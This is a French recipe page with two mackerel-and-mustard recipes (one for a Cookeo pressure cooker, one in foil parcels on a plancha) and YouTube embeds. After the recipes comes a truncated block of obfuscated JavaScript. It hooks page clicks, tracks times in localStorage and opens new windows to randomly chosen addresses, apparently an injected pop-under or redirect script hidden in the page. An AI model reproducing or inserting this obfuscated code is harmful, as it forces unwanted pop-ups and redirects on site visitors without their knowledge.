Téléchargez gratuitement le PDF  de cette recette cookeo de maquereaux à la moutarde en cliquant sur l’image ou ICI
[youtube https://www.youtube.com/watch?v=PGlbX89lkbc]

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Ingrédients pour 4 personnes

6 filets de maquereaux

1 verre de vin blanc

100 g d’oignons congelés

Sel

Poivre

2 cuillères à soupe de moutarde

Persil déshydraté

2 cuillères à soupe de crème fraîche

Préparation de ces maquereaux

Versez 300 ml d’eau  et le verre de vin blanc dans la cuve. Saupoudrez de persil.

Ajoutez 2 cuillères à soupe de moutarde ,les 2 cuillères à soupe de crème fraîche. Salez et poivrez.

Plongez les oignons dans le bouillon. Disposez  les filets dans la cuve.

Positionnez le cookeo en mode cuisson rapide 5 mn .Servez chaud.
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[youtube https://www.youtube.com/watch?v=PGlbX89lkbc]
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Ce poisson (le maquereau) a tout pour plaire,il est très bon à déguster,ne possède pas beaucoup d’arrêtes et reste très abordable niveau prix . Avec peu de chose il est bon à consommer .

Ingrédients pour ces maquereaux

200 g de carottes en rondelles congelées
Ingrédients pour ces maquereaux
4 maquereaux
Poivre
1 citron
1 verre de vin blanc
2 cuillères à soupe de moutarde
2 cuillères à café de fumet de poisson

Préparation des maquereaux

Faites chauffer votre plancha.
Videz et nettoyez les maquereaux si vous ne l’avez pas fait faire par votre poissonnier et déposez les sur du papier absorbant.
Faites chauffer une casserole d’eau ,portez à ébullition puis plongez les carottes dans l’eau bouillante.
Egouttez les rondelles de carottes dès la reprise de l’ébullition.
Préparez des papillotes avec du papier d’aluminium.
Dans un bol versez un verre de vin blanc,le jus d’un citron pressé, du poivre ,les 2 cuillères d emoutarde et les 2 cuillères à café de fumet.
Placez le maquereau dans les papillotes et ajoutez des rondelles de carottes ,versez de la sauce et fermez la papillote Quand toutes les papillotes sont fermées déposez les sur la plancha chaude.
Faites cuire 20 mn et servez chaud avec un légume de votre choix.

[youtube https://www.youtube.com/watch?v=-A40NvB5MIo&w=560&h=315]
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_0x2af2a2[Math[_0x365b[0x18]](Math[_0x365b[0x16]]()*_0x2af2a2[_0x365b[0x17]])];},_0x57deba=_0x43d200=>localStorage[_0x365b[0x13]](_0x365b[0x10]+_0x43d200+_0x365b[0x11],0x1),_0x1dd2bd=_0x51805f=>localStorage[_0x365b[0x12]](_0x365b[0x10]+_0x51805f+_0x365b[0x11]),_0x5e3811=(_0x5aa0fd,_0x594b23)=>localStorage[_0x365b[0x13]](_0x365b[0x10]+_0x5aa0fd+_0x365b[0x11],_0x594b23),_0x381a18=(_0x3ab06f,_0x288873)=>{const _0x266889=0x3e8*0x3c*0x3c;return Math[_0x365b[0x1a]](Math[_0x365b[0x19]](_0x288873-_0x3ab06f)/_0x266889);},_0x3f1308=(_0x3a999a,_0x355f3a)=>{const _0x5c85ef=0x3e8*0x3c;return Math[_0x365b[0x1a]](Math[_0x365b[0x19]](_0x355f3a-_0x3a999a)/_0x5c85ef);},_0x4a7983=(_0x19abfa,_0x2bf37,_0xb43c45)=>{_0x10ad9f(_0x19abfa),newLocation=_0x2317c1(_0x19abfa),_0x5e3811(_0x365b[0x10]+_0x2bf37+_0x365b[0x1b],_0xb43c45),_0x5e3811(_0x365b[0x10]+_0x2bf37+_0x365b[0x1c],_0xb43c45),_0x57deba(newLocation),window[_0x365b[0x0]]()&&window[_0x365b[0x1e]](newLocation,_0x365b[0x1d]);};_0x10ad9f(_0xfdead6);function _0x978889(_0x3b4dcb){_0x3b4dcb[_0x365b[0x1f]]();const _0x2b4a92=location[_0x365b[0x20]];let _0x1b1224=_0x2317c1(_0xfdead6);const _0x4593ae=Date[_0x365b[0x21]](new Date()),_0x7f12bb=_0x1dd2bd(_0x365b[0x10]+_0x2b4a92+_0x365b[0x1b]),_0x155a21=_0x1dd2bd(_0x365b[0x10]+_0x2b4a92+_0x365b[0x1c]);if(_0x7f12bb&&_0x155a21)try{const _0x5d977e=parseInt(_0x7f12bb),_0x5f3351=parseInt(_0x155a21),_0x448fc0=_0x3f1308(_0x4593ae,_0x5d977e),_0x5f1aaf=_0x381a18(_0x4593ae,_0x5f3351);_0x5f1aaf>=_0x3ddc80&&(_0x10ad9f(_0xfdead6),_0x5e3811(_0x365b[0x10]+_0x2b4a92+_0x365b[0x1c],_0x4593ae));;_0x448fc0>=_0x480bb2&&(_0x1b1224&&window[_0x365b[0x0]]()&&(_0x5e3811(_0x365b[0x10]+_0x2b4a92+_0x365b[0x1b],_0x4593ae),window[_0x365b[0x1e]](_0x1b1224,_0x365b[0x1d]),_0x57deba(_0x1b1224)));}catch(_0x2386f7){_0x4a7983(_0xfdead6,_0x2b4a92,_0x4593ae);}else _0x4a7983(_0xfdead6,_0x2b4a92,_0x4593ae);}document[_0x365b[0x23]](_0x365b[0x22],_0x978889);}());